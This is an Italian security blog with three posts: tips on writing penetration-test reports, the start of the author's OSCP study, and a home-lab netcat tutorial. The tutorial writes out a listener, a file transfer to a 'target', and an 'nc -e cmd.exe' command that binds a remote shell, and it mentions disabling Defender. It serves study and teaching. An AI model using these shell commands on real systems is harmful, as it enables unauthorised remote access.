cyber security

I report (in cyber sec.)

Qualche nota molto semplice sui report che tutti noi realizziamo a seguito di un assessment o di un’attività di penetration testing.

Focus (cit.)

Restiamo sull’obiettivo del progetto, la relazione deve riportare informazioni inerenti l’attività svolta. In questo non è utile divagare o aggiungere elementi fuori contesto in quanto rischiano di diluire il messaggio principale e potrebbero ridurne l’efficacia.

Chi leggerà il report?

Considera il fatto che il report dovrà essere letto da persone diverse, con differenti skills e capacità di comprensione tecnica. Un report iper-tecnico metterebbe in difficoltà uno stakeholder non tecnico così come un report scevro di dettagli tecnici risulterebbe poco interessante per una figura competente in materia.

Struttura il repor in modo da avere delle sezioni più ad alto livello e delle sezioni di approfondimento tecnico. Potrebbe essere utile anche allegare della documentazione aggiuntiva in modo da mantenere il report fruibile da chiunque pur mettendo a disposizione degli allegati tecnici per chi ha esigenza di approfondire gli argomenti trattati.

Seleziona le informazioni

Nessuno vuole leggere un report di mille pagine. Valuta cosa includere nel documento e cosa potrebbe aver senso allegare in altro formato. Non ha sicuramente senso includere pagine e pagine di output provenienti dai tools terze parti utilizzati durante l’attività. Anche gli screenshots e gli schemi sono elementi utili ma da utilizzare con saggezza: documentare un’attività o un’evidenza con decine di screenshots potrebbe essere poco efficace a livello comunicativo.

La forma

Qualsiasi sia la lingua in cui scriviamo, dobbiamo scrivere in modo comprensibile e ovviamente corretto. Scegliamo formati leggibili e strutturiamo il report in modo che abbia un filo logico. E’ una relazione, non il nostro blocco degli appunti.


Perché questo post? Ho recentemente rimesso mano al percorso di studio per la certificazione OSCP e, rileggendo le linee guida sulla stesura dei report, mi sono tornate alla mente le espressioni disperate di CIO e CISO intenti a leggere report di centinaia di pagina forniti da big player della consulenza… La professionalità e la competenza devono essere accompagnate dalla saggezza, IMHO.

cyber security, hacking

OSCP: D1

Era uno degli obiettivi 2022 che, per vari motivi, non ho potuto mantenere in roadmap (a malapena ho iniziato a studiare il materiale per la preparazione). Quest’anno ci sono un bel po’ di cambiamenti in corso ed ho quindi pensato di rimettere in programma questo mio traguardo personale.

Ho abbozzato un programma leggero per i prossimi sei mesi in cui vorrei seguire il materiale presentato nel super PDF che fa parte del materiale di studio (che avevo già ottenuto ad inizio 2022) “Penetration Testing with Kali Linux” e su questa base valutare qualche approfondimento. Vorrei inoltre che questo percorso sia utile anche a chi mi legge o mi segue sui vari social, troverete quindi diversi articoli su questo blog con la sintesi dei progressi, qualche live su Twitch ed una repository sul mio GitHub: https://github.com/roccosicilia/OSCP_sj.

Leggendo il primo capito del PDF dove viene presentato il percorso ci viene subito ricordato a chi è rivolta questa certificazione. Si fa riferimento a figure come System Administrator e Network Administrator, a ricordarci che l’ambito del Penetration Testing non è un punto di inizio ma parte di un percorso che inizia prima e che richiede di aver maturato una certa esperienza nella gestione dei sistemi e delle reti. Questo non significa che se non si ha esperienza nei ruoli citati sia impossibile seguire il programma ma sicuramente sarà necessario apprendere delle nozioni senza comprenderle appieno.

Tra le prime note tecniche viene presentato il modello base di un Penetration Test con le sue fasi:

  • Raccolta delle informazioni: più informazioni si ottengono più è probabile che l’attacco vada a buon fine;
  • Enumerazione dei servizi;
  • Primo accesso (es: Exploiting): una volta ottenuto il primo accesso viene solitamente condotta una nuova esplorazione dall’interno del sistema in modo di avere informazioni più dettagliate sul contesto e valutare quindi le successive mosse in modo appropriato;
  • Mantenere l’accesso: il metodo utilizzato nel primo accesso potrebbe non essere comodo da riutilizzare, viene quindi utilizzato un metodo alternativo per mantenere la comunicazione con i sistemi compromessi;
  • Attività post-attacco;

E’ evidente che il programma è ben strutturato e tocca molti aspetti dalle sicurezza dei sistemi. Oltre atte attività operative vi sono cenni su come strutturare il report e su come comunicare i risultati. Pur esistendo un modello base generalmente valido per attività volgarmente chiamate PT, va comunque ricordato che esistono molti ambiti di applicazione per i quali è opportuno sviluppare metodologie specifiche. Un tipico esempio è OWASP in relazione al test di applicazioni web o OSSTMM3.

OWASPOpen Web Application Security ProjectFondazione no-profit che lavora per migliorare la sicurezza del software con particolare riferimento alle applicazioni del mondo WEB (https://owasp.org/)
OSSTMMOpen Source Security Testing Methodology ManualManuale che riporta una metodologia di test di sicurezza basata sull’accertamento di fatti su cui basare le proprie valutazioni in tema di sicurezza di un sistema (https://www.isecom.org/OSSTMM.3.pdf)

Labs

Il corso offerto da Offensive Security comprende un serie di laboratori a cui lo studente può accedere per fare pratica. Nel mio caso mi doterò dell’acceso ai laboratori durante l’anno in corso mentre per le prime fasi (ed i primi capitoli) costruirò autonomamente i labs e pubblicherò i dettagli dei miei esercizi.

Ovviamente è necessaria la macchina Kali che nel mio caso sarà utilizzata in due modalità: come WLS sul mio host Windows (fino a quando avrò Windows…) e su un host dedicato (un mini-pc) disponibile separatamente con la possibilità di tenere accesso il sistema per fargli eseguire operazioni molto lunghe e che vincolerebbero la mia attività lavorativa quotidiana.

Pronti?

A prescindere dalla certificazione il percorso è tecnicamente interessante e consente di approfondire molti ambiti dell’informatica. Ho scritto questo post la notte tra l’1 e il 2 gennaio (2023) dopo aver letto il primo capitolo della documentazione e ho già aperto diversi temi di approfondimento come le diverse metodologie di Security Test. Se avrei voglia di seguirmi in questo percorso e vuoi contribuire con qualche tua nota o riflessione puoi contattarmi direttamente su LinkedIn o su uno dei miei canali social: https://roccosicilia.com/about/.

cyber security, hacking

Reverse Shell: giocare con netcat

Approfitto della sessione live #studywithme che ho iniziato a proporre il martedì sera sul mio canale Twitch per proporre una “dispensa” sugli argomenti trattati. Premetto che la live in questione è durata poco in quanto lo scorso martedì ero abbastanza provato dallo giornata, abbiamo comunque introdotto netcat e ci siamo scontrati (come spesso capita) con i limiti delle versioni disponibili per MS Windows.

Prima di passare all’esplorazione dell’utility dedico qualche minuto al reperimento della stessa. Mentre se avere una linux-box potrete tranquillamente installare quello che vi serve dai pacchetti della vostra distro, su Windows bisogna necessariamente reperire il binario ed assicurarsi che il vostro sistema anti-malware non lo vada a spianare al primo utilizzo. Per poterlo utilizzare nella mia macchina di test su VirtualBox ho dovuto necessitamene disattivare prima Defender e creare poi una eccezione. Ho utilizzato il binario disponibile qui: https://nmap.org/ncat/.

screen della vm Win10

Predisporre il lab con una macchina Windows ed una macchina Linux ci consente di seguire gli esempi della documentazione #OSCP. Ovviamente possiamo tranquillamente lavorare anche sono con ambienti *nix like.

Utilizzo base

Fondamentalmente netcat è una utility che ci consente di leggere e scrivere dati attraverso una connessione di rete sia via TCP che via UDP. Possiamo quindi utilizzarlo per connetterci ad un servizio come un POP o SMTP server:

classica connessione ad un servizio

Una delle funzionalità che più rimanda al tema delle reverse shell è la possibilità di mettere in listening su una porta specifica netcat:

$ nc -nlvp 1337
Listening on 0.0.0.0 1337

Una volta avviata la sessione possiamo ovviamente provare ad interagire ad esempio eseguendo una richiesta tramite un client come un browser:

HTTP GET da un browser

La funzione di per se è utile per fare delle verifiche a livello di comunicazione. Più frequentemente questa funzionalità è utilizzata per ricevere una sessione da un “client” netcat che, senza altri accorgimenti, consentirà di inviare e leggere i caratteri all’interno della sessione in entrambe le direzioni:

connessione “client/server”

Passando ad utilizzi più pragmatici vi è la possibilità di trasferire file da un sistema all’altro semplicemente con il comando:

$ nc -v {HOST} < /usr/share/windows-binaries/wget.exe
Connection to 192.168.1.12 1337 port [tcp/*] succeeded!

Ovviamente lato sistema target va prima reindirizzato l’output verso un file “destinazione”:

c:\Test>nc -nlvp 1337 > wget.exe
listening on [any] 1337 ...

Il risultato sarà l’upload del file wget.exe sulla macchina target.

E arriviamo all’utilizzo per il quale probabilmente è più famoso: la possibilità di gestire una shell attraverso una sessione. Il funzionamento in tal senso è molto semplice, abbiamo visto come aprire una sessione di comunicazione tra due macchine al fine di inviare semplici caratteri, ora possiamo utilizzare qualcosa di simile per legare un processo come cmd.exe alla sessione TCP. La funzionalità è disponibile solo per le versione che presentano il flag -e, controllare questo requisito.

c:\Test>nc -nlvp 1337 -e cmd.exe
listening on [any] 1337 ...

Il comando per connettersi alla sessione, che dovrebbe restituire il prompt dei comandi di DOS, è altrettanto semplice:

$ nc -v 192.168.1.12 1337
la classica reverse shell

Qualche curiosità

Netcat è uno strumento molto duttile utilizzato, anche se forse non frequentemente, in molteplici scenari. Ho raccolto qualche esempio che credo possa valere la pensa di tenere a mente.

Network port-scan

-w necessario per il timeout

HTTP requests


Qualche risorsa aggiuntiva:


Personalmente l’utilizzo principale è quello relativo alle reverse shell e l’impiego in contesti di troubleshooting su anomalie di rete o verifica della bontà delle richieste. L’utilizzo, negli esempi della porta 1337 è ovviamente un riferimento nerd al leet, ma è effettivamente la porta che utilizzo nei miei lavoratori. In contesti reali come attività di Pen Testing o simulazioni di solito valuto in base al contesto quali porte utilizzare e, soprattutto, non utilizzo netcat in queste modalità in quanto tutto il traffico sarebbe in chiaro. Nella prossima live, programmata per martedì 01 novembre, ci avviciniamo di più a quello che potremmo fare in una sessione di PenTesting.